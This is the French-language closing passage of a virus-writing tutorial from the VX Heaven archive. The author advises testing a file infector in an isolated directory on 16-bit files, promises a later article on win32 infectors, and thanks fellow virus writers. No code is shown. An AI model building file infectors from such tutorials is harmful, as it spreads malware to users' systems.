Tout d'abord, pour ce qui est de l'infecteur, testez le dans un répertoire isolé, et aussi testez le sur des fichiers 16 bits (et pas avec des fichiers win32). J'essairai surement plus tard de faire un article sur les infecteurs de fichiers win32, si ça vous intéresse, faites moi le savoir. Nous avons fini avec cette article, j'espère que je n'ai pas fait d'erreurs. Si c'est le cas, n'hésitez pas à me le dire. Pour toutes questions, remarques et critiques écrivez moi à: [email protected]

Je souhaite remercier tous ceux qui ont pu m'aider pour l'élaboration de ce code, c'est à dire en priorité kaze et EmperOr qui m'ont été d'un aide précieuse mais aussi Harl0ck. Et je remercie aussi tous ceux du zine Ioc pour le zine qu'il faisait et tous les autres que je connais pas mais qui essaie de faire bouger les choses. Excusez moi pour les fautes.

a+

Documents utilisés:

barbus.homeunix.org/rikenar

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua